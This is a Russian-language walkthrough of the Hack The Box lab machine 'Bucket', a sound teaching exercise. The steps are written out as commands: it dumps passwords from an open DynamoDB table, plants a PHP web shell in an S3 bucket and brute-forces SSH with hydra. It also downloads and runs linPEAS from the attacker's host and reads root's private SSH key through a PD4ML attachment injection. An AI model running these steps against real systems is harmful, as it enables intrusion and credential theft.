Хакер - HTB Bucket. Взламываем сайт через Amazon S3 и похищаем пароль рута через PDF
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Сканирование веб-страниц
- Точка входа
- Amazon S3
- Продвижение
- Брутфорс пароля
- Повышение привилегий
Сегодня мы пройдем машину средней сложности с площадки Hack The Box. По дороге ты научишься получать и создавать данные в базе DynamoDB, посмотришь на работу с бакетами Amazon S3 и научишься получать данные через вложение в PDF, используя уязвимость в конвертере PDF4ML.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Первым делом я заношу IP машины (10.10.10.212) в файл /etc/hosts и даю ей более удобный адрес bucket.htb.
Затем переходим к сканированию портов. Я запускаю скрипт, который уже не раз описывал, и сканирую порты в два прохода (второй раз — со скриптами по найденным в первый раз портам).
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

По результатам имеем два открытых порта: 22-й (служба SSH) и 80-й (веб‑сервер Apache). На SSH пока стучаться рано, поскольку у нас нет учетных данных. Гораздо перспективнее будет изучить веб‑сервер. Внимательно осмотримся на сайте, так как, помимо точек входа и разных уязвимостей, следует собирать и другую важную информацию, например имена пользователей, применяемые технологии и прочие вещи, которые могут пригодиться в дальнейшем. Сам сайт на первый взгляд кажется простеньким, и на первой же странице отметим доменное имя bucket.htb (с которым мы и так уже работаем), а также аккаунт техподдержки support@bucket.htb.

Заглядываем в исходный код страницы и видим примечательную особенность — использованы теги для вставки изображений. Файлы с картинками загружаются с другого домена — s3.bucket.htb.

Значит, на веб‑сервере есть виртуальный хост s3.bucket.htb и, если мы хотим с ним работать, надо добавить и его в файл /etc/hosts. Сразу же можем проверить, что там.

Вместо HTML с него возвращается статус выполнения, а значит, используется какая‑то служебная технология (из названия поддомена пока что стараемся не делать быстрых выводов).
Сканирование веб-страниц
Одно из первых действий при тестировании веб‑приложений — это сканирование сайта на наличие интересных каталогов и файлов. Особенно это полезно, когда натыкаешься на тупик, подобный тому, в котором мы оказались. Для сканирования можно применять широко известные программы dirsearch и DIRB, но я обычно пользуюсь более быстрым gobuster. При запуске используем следующие параметры:
dir— сканирование директорий и файлов;-t []— количество потоков;-u []— URL-адрес для сканирования;-w []— словарь для перебора;--timeout []— время ожидания ответа.
gobuster dir -t 128 -u http://s3.bucket.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt --timeout 30s

Находим всего два интересных каталога. При обращении к первому снова получим ответ со статусом. Кстати, чтобы копаться в JSON, можно прямо в терминале использовать утилиту jq, передавая ей ответ на запрос.
curl http://s3.bucket.htb/health | jq

Обращаясь к каталогу shell, получим редирект на другой адрес:
http://444af250749d:4566/shell/
Если открыть его в браузере, можно увидеть, что это Amazon S3. Что ж, теперь никаких сомнений!

ТОЧКА ВХОДА
Amazon S3
Amazon Simple Storage Service (или S3) — это сервис для хранения объектов, полезный, когда нужно легко масштабирующееся хранилище. Его часто применяют, чтобы хранить статическую часть сайтов, ресурсы мобильных приложений, а также для хранения бэкапов и прочих подобных нужд. Также у Amazon есть своя СУБД класса NoSQL, которая хранит данные в формате «ключ — значение», она называется DynamoDB.
Наша цель — получить доступ к хранимым данным, поскольку они явно важны для прохождения машины. По S3 есть официальная документация. Ознакомившись с ней, ставим набор утилит AWS Command Line и настраиваем доступ к хранилищу.
sudo apt install awscli
aws configure

Разберемся с заданными параметрами.
- AWS Access Key ID и AWS Secret Access Key — идентификатор ключа доступа и сам секретный ключ доступа. Используются для подписи программных запросов, которые мы отправляем в AWS. Создать такой ключ можно здесь, но, так как он используется только для подписи запросов, я просто взял ID и ключ, представленные в документации.
- Default region name — регион AWS, серверы которого использовать по умолчанию. Обычно это ближайший к тебе регион, но, поскольку он может быть любым, я вставил значение из документации.
- Default output format — формат, в котором будет предоставлен результат запроса: JSON, YAML, text, table. Так как с помощью
jqудобно читать JSON, выбираем его.
Теперь, когда заданы основные параметры для работы с AWS, мы можем выполнять запросы к базе DynamoDB. Как и при работе с любой базой, первым делом просмотрим, есть ли доступные таблицы. В запросе используем следующие параметры:
dynamodb— указываем в качестве службы DynamoDB;list-table— для получения списка таблиц;--endpoint-url— URL для доступа к S3;--no-sign-request— не подписывать запрос.
aws dynamodb list-tables --endpoint-url http://s3.bucket.htb/ --no-sign-request | jq

В базе всего одна таблица — users. Название многообещающее: обычно именно в таких таблицах хранятся учетные данные. Давай получим хранимые данные с помощью запроса, похожего на предыдущий, только добавим команду scan, чтобы получить записи, и в параметре --table-name укажем имя таблицы.
aws dynamodb scan --table-name users --endpoint-url http://s3.bucket.htb/ --no-sign-request | jq

Получаем три пары учетных данных логин:пароль. Пользователи, скорее всего, не пригодятся, так как они служебные, а вот пароли всегда полезны. Таким образом, из DynamoDB мы взяли все, поэтому переходим к S3.
S3 — это хранилище, структурированное при помощи «бакетов» (то есть, по‑русски, «ведер»), аналогов папок с доступом по шифру и ключу. С помощью той же утилиты awscli мы можем получить список бакетов. Для этого в качестве службы указываем s3 вместо dynamodb и передаем команду ls.
aws s3 ls --endpoint-url http://s3.bucket.htb/ --no-sign-request

В корневом бакете обнаружим какой‑то файл HTML и еще один бакет — adserver, заглянем и в него. Для обращения к бакету указываем параметр s3://[бакет].
aws s3 ls --endpoint-url http://s3.bucket.htb/ --human-readable --recursive s3://adserver

Внутри — страница HTML и три изображения. По названию изображения можно догадаться, что это тот самый сайт, которой мы встретили ранее. То есть если мы сможем поместить тут какой‑либо код, то сможем потом к нему обратиться, и код выполнится на сервере! Давай напишем простенький PHP shell, который будет выполнять принимаемую команду.
<?php echo system($_GET["r"]); ?>
Загружаем его в бакет. Для загрузки объектов вместо s3 нужно использовать s3api с командой put-object, также укажем целевой бакет, ключ и файл для сохранения.
aws s3api put-object --endpoint-url http://s3.bucket.htb/ --bucket adserver --key r.php --body r.php

Выполнив тестовую команду whoami, узнаем, в контексте какого пользователя мы работаем, — это учетная запись www-data службы веб‑сервера.
ПРОДВИЖЕНИЕ
Брутфорс пароля
У нас есть три полученных пароля, и мы обязательно должны попробовать использовать их для каждого найденного пользователя. Список пользователей можно посмотреть в файле /etc/passwd.

Таким образом, в системе есть всего два пользователя с консолью, это мы определяем по пути к командной оболочке /bin/bash в конце каждой строки. Поэтому нам просто нужно попробовать подключиться по SSH от имени пользователя roy и перебрать три пароля.
Для перебора учетных данных к SSH я использовал hydra со следующими параметрами:
-l []— имя пользователя;-P []— файл с паролями;ssh://bucket.htb— протокол и адрес хоста.
hydra -l roy -P passwords.txt ssh://bucket.htb

И hydra определяет пароль для учетной записи roy. Авторизуемся по SSH и забираем флаг в файле user.txt. Так мы получаем управление хостом от имени пользователя.

ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Чтобы понять, как продвигаться дальше, я использую скрипты PEASS. Скачиваем вариант для Linux.
wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
Теперь загружаем его на удаленный хост. В директории со скриптом на локальной машине запустим с помощью python простой веб‑сервер. После выполнения этой команды веб‑сервер будет прослушивать порт 8000.
python3 -m http.server
На целевой машине при помощи wget скачиваем скрипт с локального хоста. После загрузки скрипту нужно дать право на выполнение и запустить его.
wget http://[ip_локального_хоста]:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
В выводе — масса данных. Вот что интересное удалось из них выловить:
- на хосте уже есть awscli (что неудивительно), а он может нам пригодиться;
- docker-proxy запущен от имени
rootи использует порт 4556 (вспоминаем о редиректе на этот порт на стадии разведки); - на сервере есть созданные рутом и доступные файлы.



Давай взглянем на код в файле index.php. Если приходит запрос типа POST с параметром action и значением get_alert, то из таблицы alerts в S3 DynamoDB считываются поля title=Ransomware и затем data, значение которого передается в функцию passthru для записи в файл PDF.
Здесь сразу возникла идея: так как мы контролируем данные, то можем и создать вложение в PDF. То есть, создав таблицу с нужными полями, мы можем получить в качестве вложения PDF любой файл! А если учесть, что это действие выполняется от имени root, то получается, что у нас есть возможность прочитать совершенно любой файл в системе. Самая интересная цель в таких случаях — приватный ключ SSH рута.

Чтобы обратиться к сайту через браузер, нужно узнать порт, на котором отвечает этот сайт, и затем туннелировать соединение. Посмотрим настройки Apache, а именно директиву VirtualHost в файле /etc/apache2/sites-available/000-default.conf.

Из настроек узнаем, что нам нужен порт 8000. Давай прокинем этот порт, то есть сделаем так, чтобы весь трафик, приходивший на определенный порт локальной машины и уходивший с него, ретранслировался на такой же порт целевого хоста. Делаем это с помощью стандартного SSH.
ssh -L 8000:127.0.0.1:8000 roy@10.10.10.212
Попробуем обратиться к сайту с локальной машины. Для этого выполним запрос через браузер по адресу http://127.0.0.1:8000/index.php.

Туннель работает, переходим к S3. Нам нужно создать запись, но сначала зададим конфигурации и посмотрим таблицы, как это делали раньше.


Давай создадим таблицу, учитывая приведенные ранее условия:
create-table— команда для создания таблицы;--table-name []— имя создаваемой таблицы (нам нужноalerts);--attribute-definitions [],[]— массив атрибутов, описывающих схему ключей для таблицы и индексов. В данном случае имя атрибута —title(так нужно по условию), а тип атрибута — String (S);--key-schema [],[]— задает атрибуты, составляющие первичный ключ для таблицы или индекса. В данном случае это атрибутtitle, а тип — Hash;--provisioned-throughput [],[]— представляет подготовленные параметры пропускной способности для указанной таблицы. Максимальное количество строго согласованных операций чтения (ReadCapacityUnits) и записи (WriteCapacityUnits), выполняемых в секунду, прежде чем DynamoDB вернет исключениеThrottlingException.
aws dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S --key-schema AttributeName=title,KeyType=HASH --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5 --endpoint-url http://127.0.0.1:4566

Таблица успешно создана, осталось заполнить ее. Укажем в качестве значения данных вложение, указывающее на приватный ключ рута. Для создания элемента необходимо указать команду put-item и передать этот элемент в формате JSON как значение параметра --item. Тут нужно предоставить все атрибуты для первичного ключа. Например, в качестве title будет передана строка (S) Ransomware, тогда запись будет такая: {"title":{"S": "Ransomware"}. А в качестве данных мы передаем тег <pd4ml:attachment>, что позволит вставить вложение. Этому тегу нужно указать следующие параметры:
description— описание, будет появляться при наведении на иконку;icon— сама иконка (paperclip — скрепочка).
В качестве значения тега указываем путь к файлу /root/.ssh/id_rsa.
aws dynamodb put-item --table-name alerts --item '{"title":{"S": "Ransomware"}, "data": {"S": "<pd4ml:attachment description="ssh-key.txt" icon="paperclip">file:///root/.ssh/id_rsa</pd4ml:attachment>"}}' --endpoint-url http://127.0.0.1:4566

После создания записи обратимся к сайту и передадим необходимые параметры POST для формирования документа.
curl -X POST -d "action=get_alerts" http://127.0.0.1:8000/
А теперь откроем PDF по такому адресу:
http://127.0.0.1:8000/files/result.pdf
В нем имеется указатель на наше вложение, которое мы открываем.

Это вложение будет содержать ключ SSH рута. Его необходимо сохранить в файл на локальный хост и назначить необходимые для приватного ключа разрешения командой chmod 0600 id_rsa. После чего можно подключиться по SSH от имени пользователя root с имеющимся приватным ключом.

Таким путем мы захватываем данную машину и имеем над ней полный контроль!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei